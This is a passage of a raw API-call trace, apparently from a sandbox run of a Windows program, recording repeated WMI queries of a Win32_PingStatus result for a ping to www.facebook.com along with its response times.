wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2313608*=8, plFlavor=0x231360c*=64) returned 0x0 [0142.509] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.509] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.509] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2313654*=0, plFlavor=0x2313658*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2313654*=8, plFlavor=0x2313658*=64) returned 0x0 [0142.509] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.509] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.509] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23136a0*=0, plFlavor=0x23136a4*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23136a0*=8, plFlavor=0x23136a4*=64) returned 0x0 [0142.509] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.509] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.509] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0142.509] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0142.509] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.510] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="BufferSize", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23138dc*=0, plFlavor=0x23138e0*=0 | out: pVal=0x572e96c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x23138dc*=19, plFlavor=0x23138e0*=0) returned 0x0 [0142.510] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="BufferSize", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23138dc*=19, plFlavor=0x23138e0*=0 | out: pVal=0x572ea20*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x23138dc*=19, plFlavor=0x23138e0*=0) returned 0x0 [0142.516] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0142.516] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0142.516] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.516] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0142.517] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0142.517] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.517] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0142.517] SafeArrayGetDim (psa=0x5c78e78) returned 0x1 [0142.517] SafeArrayGetDim (psa=0x5c78e78) returned 0x1 [0142.517] SafeArrayGetLBound (in: psa=0x5c78e78, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0142.517] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.517] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.517] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.517] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.517] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.517] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.517] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.517] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.517] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.517] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.517] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.517] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.518] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.518] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.518] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.518] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.518] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.518] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.518] SysStringByteLen (bstr="__PATH") returned 0xc [0142.518] SysStringByteLen (bstr="__PATH") returned 0xc [0142.518] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2313e08*=0, plFlavor=0x2313e0c*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2313e08*=3, plFlavor=0x2313e0c*=64) returned 0x0 [0142.518] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2313e3c*=0, plFlavor=0x2313e40*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2313e3c*=8, plFlavor=0x2313e40*=64) returned 0x0 [0142.518] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.518] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.518] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2313e94*=0, plFlavor=0x2313e98*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2313e94*=8, plFlavor=0x2313e98*=64) returned 0x0 [0142.519] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2313ec8*=0, plFlavor=0x2313ecc*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2313ec8*=8, plFlavor=0x2313ecc*=64) returned 0x0 [0142.519] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.519] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.519] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2313f20*=0, plFlavor=0x2313f24*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2313f20*=8, plFlavor=0x2313f24*=64) returned 0x0 [0142.519] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.519] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.519] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314100*=0, plFlavor=0x2314104*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2314100*=3, plFlavor=0x2314104*=64) returned 0x0 [0142.520] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314134*=0, plFlavor=0x2314138*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2314134*=8200, plFlavor=0x2314138*=64) returned 0x0 [0142.520] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314168*=0, plFlavor=0x231416c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2314168*=8, plFlavor=0x231416c*=64) returned 0x0 [0142.520] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.520] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.520] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23141b4*=0, plFlavor=0x23141b8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x23141b4*=8, plFlavor=0x23141b8*=64) returned 0x0 [0142.520] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.520] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.520] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314200*=0, plFlavor=0x2314204*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2314200*=8, plFlavor=0x2314204*=64) returned 0x0 [0142.520] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.520] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.521] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0142.521] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0142.521] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.521] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="ResponseTime", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231443c*=0, plFlavor=0x2314440*=0 | out: pVal=0x572e938*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x231443c*=19, plFlavor=0x2314440*=0) returned 0x0 [0142.521] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0142.521] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0142.521] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.521] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0142.521] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0142.521] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.521] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0142.521] SafeArrayGetDim (psa=0x5c78ed8) returned 0x1 [0142.521] SafeArrayGetDim (psa=0x5c78ed8) returned 0x1 [0142.521] SafeArrayGetLBound (in: psa=0x5c78ed8, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0142.522] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.522] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.522] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.522] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.522] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.522] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.522] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.522] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.522] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.522] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.522] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.522] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.522] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.522] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.522] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.522] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.522] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.522] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.522] SysStringByteLen (bstr="__PATH") returned 0xc [0142.522] SysStringByteLen (bstr="__PATH") returned 0xc [0142.522] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23147f0*=0, plFlavor=0x23147f4*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x23147f0*=3, plFlavor=0x23147f4*=64) returned 0x0 [0142.523] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314824*=0, plFlavor=0x2314828*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2314824*=8, plFlavor=0x2314828*=64) returned 0x0 [0142.523] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.523] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.523] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231487c*=0, plFlavor=0x2314880*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x231487c*=8, plFlavor=0x2314880*=64) returned 0x0 [0142.523] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23148a4*=0, plFlavor=0x23148a8*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23148a4*=8, plFlavor=0x23148a8*=64) returned 0x0 [0142.523] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.523] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.523] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23148fc*=0, plFlavor=0x2314900*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23148fc*=8, plFlavor=0x2314900*=64) returned 0x0 [0142.523] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.523] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.524] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314adc*=0, plFlavor=0x2314ae0*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2314adc*=3, plFlavor=0x2314ae0*=64) returned 0x0 [0142.524] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314b10*=0, plFlavor=0x2314b14*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ea8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2314b10*=8200, plFlavor=0x2314b14*=64) returned 0x0 [0142.524] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314b44*=0, plFlavor=0x2314b48*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2314b44*=8, plFlavor=0x2314b48*=64) returned 0x0 [0142.524] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.524] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.524] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314b90*=0, plFlavor=0x2314b94*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2314b90*=8, plFlavor=0x2314b94*=64) returned 0x0 [0142.524] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.524] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.525] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314bdc*=0, plFlavor=0x2314be0*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2314bdc*=8, plFlavor=0x2314be0*=64) returned 0x0 [0142.525] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.525] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.525] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0142.525] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0142.525] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.525] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="ResponseTime", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314e18*=0, plFlavor=0x2314e1c*=0 | out: pVal=0x572e96c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x2314e18*=19, plFlavor=0x2314e1c*=0) returned 0x0 [0142.525] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="ResponseTime", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2314e18*=19, plFlavor=0x2314e1c*=0 | out: pVal=0x572ea20*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x2314e18*=19, plFlavor=0x2314e1c*=0) returned 0x0 [0142.526] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0142.526] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0142.526] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.526] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0142.526] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0142.526] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.526] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 